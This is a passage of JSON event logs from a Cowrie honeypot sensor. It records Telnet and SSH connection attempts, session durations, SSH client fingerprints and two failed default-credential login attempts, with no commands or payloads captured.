{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.423616Z","src_ip":"159.203.92.129","session":"f3ca510192aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambari-qa","password":"123","message":"login attempt [ambari-qa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.436775Z","src_ip":"159.203.92.129","session":"f3ca510192aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57684,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86b6828f284","protocol":"telnet","message":"New connection: 162.253.42.116:57684 (10.17.0.5:23) [session: b86b6828f284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.785618Z"}
{"eventid":"cowrie.session.closed","duration":31.19006037712097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:18.401194Z","src_ip":"149.28.165.80","session":"64bbb360d213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:18.443075Z","src_ip":"159.203.92.129","session":"f3ca510192aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37976,"dst_ip":"10.17.0.5","dst_port":23,"session":"4263c7546f5b","protocol":"telnet","message":"New connection: 149.28.165.80:37976 (10.17.0.5:23) [session: 4263c7546f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:20.479344Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b55547b5e0a","protocol":"telnet","message":"New connection: 162.253.42.116:60816 (10.17.0.5:23) [session: 1b55547b5e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:20.523366Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2190333e94c","protocol":"telnet","message":"New connection: 149.28.165.80:37994 (10.17.0.5:23) [session: e2190333e94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:20.788056Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac76eb46aec","protocol":"telnet","message":"New connection: 149.28.165.80:37996 (10.17.0.5:23) [session: bac76eb46aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:21.563415Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9610b5e89c","protocol":"telnet","message":"New connection: 149.28.165.80:37992 (10.17.0.5:23) [session: 8c9610b5e89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:21.646467Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":38020,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfe46fcd934","protocol":"telnet","message":"New connection: 149.28.165.80:38020 (10.17.0.5:23) [session: 6cfe46fcd934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:22.197201Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":38008,"dst_ip":"10.17.0.5","dst_port":23,"session":"75909bc36d7c","protocol":"telnet","message":"New connection: 149.28.165.80:38008 (10.17.0.5:23) [session: 75909bc36d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:23.118987Z"}
{"eventid":"cowrie.session.closed","duration":31.63340139389038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:24.927629Z","src_ip":"149.28.165.80","session":"c76ef87b1379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317636728286743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:25.380038Z","src_ip":"149.28.165.80","session":"a723ca68d899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40972,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f7a66a40d5","protocol":"telnet","message":"New connection: 208.82.116.131:40972 (159.203.135.109:23) [session: 69f7a66a40d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:25.592406Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41004,"dst_ip":"159.203.135.109","dst_port":23,"session":"3505256edd05","protocol":"telnet","message":"New connection: 208.82.116.131:41004 (159.203.135.109:23) [session: 3505256edd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:25.685624Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":38026,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a271cb7ef2d","protocol":"telnet","message":"New connection: 149.28.165.80:38026 (10.17.0.5:23) [session: 4a271cb7ef2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:26.078506Z"}
{"eventid":"cowrie.session.closed","duration":31.220810174942017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:27.009478Z","src_ip":"149.28.165.80","session":"36b3eae45fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":38042,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9eba3da4a6","protocol":"telnet","message":"New connection: 149.28.165.80:38042 (10.17.0.5:23) [session: aa9eba3da4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:27.784380Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cd1c8777f7","protocol":"telnet","message":"New connection: 149.28.165.80:38038 (10.17.0.5:23) [session: 73cd1c8777f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:27.941885Z"}
{"eventid":"cowrie.session.closed","duration":34.29157519340515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:29.775511Z","src_ip":"162.253.42.116","session":"dbf1e91e9e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847249746322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:30.629534Z","src_ip":"149.28.165.80","session":"466ad0f523ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21956777572632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:30.668640Z","src_ip":"149.28.165.80","session":"816c4cfd0919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.225607633590698,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:30.817878Z","src_ip":"208.82.116.131","session":"69f7a66a40d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39995527267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:31.792835Z","src_ip":"149.28.165.80","session":"56119b83ada4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80665922164917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:34.429526Z","src_ip":"149.28.165.80","session":"a0b5af5e1cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":55738,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2fbf5462a9","protocol":"telnet","message":"New connection: 149.28.165.80:55738 (10.17.0.5:23) [session: 7e2fbf5462a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:36.582252Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":56330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc3a77eddbc","protocol":"telnet","message":"New connection: 174.136.57.21:56330 (10.17.0.5:23) [session: 2fc3a77eddbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:38.135156Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":55754,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfa93be1020a","protocol":"telnet","message":"New connection: 149.28.165.80:55754 (10.17.0.5:23) [session: cfa93be1020a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:38.630267Z"}
{"eventid":"cowrie.session.closed","duration":30.482664585113525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:39.296916Z","src_ip":"149.28.165.80","session":"6e80450138f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41446,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe99b1030740","protocol":"telnet","message":"New connection: 149.28.165.80:41446 (10.17.0.5:23) [session: fe99b1030740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:39.931398Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41456,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ca6ba541c8","protocol":"telnet","message":"New connection: 149.28.165.80:41456 (10.17.0.5:23) [session: 14ca6ba541c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:40.757298Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec37d1ec4327","protocol":"telnet","message":"New connection: 149.28.165.80:41430 (10.17.0.5:23) [session: ec37d1ec4327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:40.787317Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a749446d271","protocol":"telnet","message":"New connection: 162.253.42.116:54748 (10.17.0.5:23) [session: 1a749446d271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:40.958252Z"}
{"eventid":"cowrie.session.closed","duration":31.380720138549805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:42.428198Z","src_ip":"149.28.165.80","session":"4f6ab1a67d15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52822208404541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:42.688680Z","src_ip":"149.28.165.80","session":"7bba542dddea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81025218963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:43.114783Z","src_ip":"149.28.165.80","session":"1f5e4e1f05f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.9286208152771,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:43.197069Z","src_ip":"162.253.42.116","session":"61e968bb9384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400542497634888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:43.388789Z","src_ip":"149.28.165.80","session":"e654bf29943e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41472,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a85e0535e88","protocol":"telnet","message":"New connection: 149.28.165.80:41472 (10.17.0.5:23) [session: 8a85e0535e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:43.918711Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d60b83b6d0","protocol":"telnet","message":"New connection: 149.28.165.80:41482 (10.17.0.5:23) [session: b3d60b83b6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:44.582667Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":41484,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fa28605a5a","protocol":"telnet","message":"New connection: 149.28.165.80:41484 (10.17.0.5:23) [session: 25fa28605a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:45.333094Z"}
{"eventid":"cowrie.session.closed","duration":39.56651329994202,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:46.008677Z","src_ip":"208.82.116.131","session":"d320cfd517d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69171643257141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:46.618340Z","src_ip":"149.28.165.80","session":"a5109537b31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073129892349243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:47.110770Z","src_ip":"149.28.165.80","session":"a2944c8bdbab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43234896659851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:51.217862Z","src_ip":"162.253.42.116","session":"b86b6828f284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.754474401474,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:51.361612Z","src_ip":"208.82.116.131","session":"e16c66190a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622810125350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:51.410753Z","src_ip":"149.28.165.80","session":"e2190333e94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.566225290298462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:52.045442Z","src_ip":"149.28.165.80","session":"4263c7546f5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599185466766357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:52.162438Z","src_ip":"149.28.165.80","session":"bac76eb46aec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546345949172974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:52.192695Z","src_ip":"149.28.165.80","session":"8c9610b5e89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40296,"dst_ip":"10.17.0.5","dst_port":23,"session":"545acb05f5ca","protocol":"telnet","message":"New connection: 162.253.42.116:40296 (10.17.0.5:23) [session: 545acb05f5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:52.314239Z"}
{"eventid":"cowrie.session.closed","duration":45.90117168426514,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:52.580082Z","src_ip":"208.82.116.131","session":"e4d5fc972adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.504310846328735,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:54.064691Z","src_ip":"208.82.116.131","session":"4f9bbd7e30e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87310266494751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:54.070172Z","src_ip":"149.28.165.80","session":"6cfe46fcd934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197816371917725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:54.316689Z","src_ip":"149.28.165.80","session":"75909bc36d7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd99237c734","protocol":"telnet","message":"New connection: 174.136.57.21:38364 (10.17.0.5:23) [session: ebd99237c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:54.359083Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":59026,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8cf0cf6da00","protocol":"telnet","message":"New connection: 149.28.165.80:59026 (10.17.0.5:23) [session: e8cf0cf6da00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:54.875121Z"}
{"eventid":"cowrie.session.closed","duration":35.759653091430664,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:56.282932Z","src_ip":"162.253.42.116","session":"1b55547b5e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150439500808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:57.228826Z","src_ip":"149.28.165.80","session":"4a271cb7ef2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803651571273804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:58.587906Z","src_ip":"149.28.165.80","session":"aa9eba3da4a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9590802192688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:59.900881Z","src_ip":"149.28.165.80","session":"73cd1c8777f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"eac15ac47926","protocol":"ssh","message":"New connection: 159.203.92.129:59048 (159.203.135.109:22) [session: eac15ac47926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:00.483229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:00.489792Z","src_ip":"159.203.92.129","session":"eac15ac47926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:00.497363Z","src_ip":"159.203.92.129","session":"eac15ac47926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambari-qa","password":"123456","message":"login attempt [ambari-qa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:00.538206Z","src_ip":"159.203.92.129","session":"eac15ac47926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:01.546037Z","src_ip":"159.203.92.129","session":"eac15ac47926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2b9200ca2a","protocol":"telnet","message":"New connection: 162.253.42.116:52962 (10.17.0.5:23) [session: ca2b9200ca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:03.934568Z"}
{"eventid":"cowrie.session.closed","duration":30.547786474227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:07.129917Z","src_ip":"149.28.165.80","session":"7e2fbf5462a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652795553207397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:09.282956Z","src_ip":"149.28.165.80","session":"cfa93be1020a","protocol":"telnet"}
